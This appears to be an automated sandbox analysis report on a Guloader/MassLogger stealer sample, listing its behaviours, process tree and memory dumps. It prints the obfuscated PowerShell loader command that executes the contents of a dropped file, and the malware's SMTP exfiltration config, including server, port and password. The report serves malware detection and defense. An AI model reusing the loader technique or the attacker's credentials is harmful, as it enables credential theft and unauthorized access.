Analysis
- max time kernel
149s - max time network
131s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
- submitted
09/10/2025, 17:25
General
- Target fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446.exe
- Size 1.1MB
- Sample251009-vzmbcsslw5
- SHA256 fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-02-19
-
host_password
LILKOOLL14!
-
host_port
587
- host_receiver
- host_sender
-
host_server
webmail.dongjln.com
-
ssl_slate
True
Signatures
- Guloader family
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446.exe"C:\Users\Admin\AppData\Local\Temp\fbcbfa3bae2c721a8923ef296e7f7140d3035a2cf711ab3df4d948eba6226446.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " $Normalisers=cat -raw 'C:\Users\Admin\AppData\Local\Roesukkerets23\raught\Aestheticist243.Tet';$Kommunikationsprotokollerne=$Normalisers.substring(82427,3);$Fountainlike++; .$Kommunikationsprotokollerne($Normalisers)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Badlisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Aestheticist243.Tet
Byggetekniker.Bur
__PSScriptPolicyTest_a0ta1sds.scu.ps1
memory/4644-23-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-24-0x0000000003110000-0x0000000003146000-memory.dmp
memory/4644-25-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-26-0x0000000005D20000-0x000000000634A000-memory.dmp
memory/4644-27-0x0000000005A50000-0x0000000005A72000-memory.dmp
memory/4644-28-0x0000000005BF0000-0x0000000005C56000-memory.dmp
memory/4644-29-0x00000000063D0000-0x0000000006436000-memory.dmp
memory/4644-36-0x0000000006440000-0x0000000006797000-memory.dmp
memory/4644-37-0x00000000068F0000-0x000000000690E000-memory.dmp
memory/4644-38-0x0000000006930000-0x000000000697C000-memory.dmp
memory/4644-39-0x00000000078B0000-0x0000000007946000-memory.dmp
memory/4644-40-0x0000000006E40000-0x0000000006E5A000-memory.dmp
memory/4644-41-0x0000000006E90000-0x0000000006EB2000-memory.dmp
memory/4644-42-0x0000000008180000-0x0000000008726000-memory.dmp
memory/4644-44-0x0000000008DB0000-0x000000000942A000-memory.dmp
memory/4644-45-0x000000007F370000-0x000000007F380000-memory.dmp
memory/4644-46-0x0000000007D30000-0x0000000007D64000-memory.dmp
memory/4644-47-0x000000006FB60000-0x000000006FBAC000-memory.dmp
memory/4644-52-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-56-0x0000000007D70000-0x0000000007D8E000-memory.dmp
memory/4644-51-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-57-0x0000000007DA0000-0x0000000007E44000-memory.dmp
memory/4644-58-0x0000000007EA0000-0x0000000007EAA000-memory.dmp
memory/4644-59-0x0000000008020000-0x0000000008031000-memory.dmp
memory/4644-60-0x0000000008050000-0x000000000805E000-memory.dmp
memory/4644-61-0x0000000008070000-0x0000000008085000-memory.dmp
memory/4644-62-0x00000000080B0000-0x00000000080CA000-memory.dmp
memory/4644-63-0x00000000080A0000-0x00000000080A8000-memory.dmp
memory/4644-64-0x00000000080C0000-0x00000000080EA000-memory.dmp
memory/4644-65-0x0000000008120000-0x0000000008144000-memory.dmp
memory/4644-66-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-67-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-69-0x00000000087B0000-0x00000000087B2000-memory.dmp
memory/4644-70-0x0000000009430000-0x000000000A2DF000-memory.dmp
memory/4644-71-0x0000000009430000-0x000000000A2DF000-memory.dmp
memory/4644-72-0x000000007F370000-0x000000007F380000-memory.dmp
memory/4644-74-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-73-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-75-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/4644-76-0x0000000009430000-0x000000000A2DF000-memory.dmp
memory/5392-77-0x0000000000700000-0x0000000001A17000-memory.dmp
memory/5392-78-0x0000000000700000-0x000000000071E000-memory.dmp
memory/5392-79-0x0000000020410000-0x00000000204AC000-memory.dmp
memory/5392-80-0x0000000020830000-0x00000000208C2000-memory.dmp
memory/5392-81-0x0000000020580000-0x00000000205D0000-memory.dmp
memory/5392-83-0x00000000212A0000-0x0000000021462000-memory.dmp
memory/5392-84-0x00000000208F0000-0x00000000208FA000-memory.dmp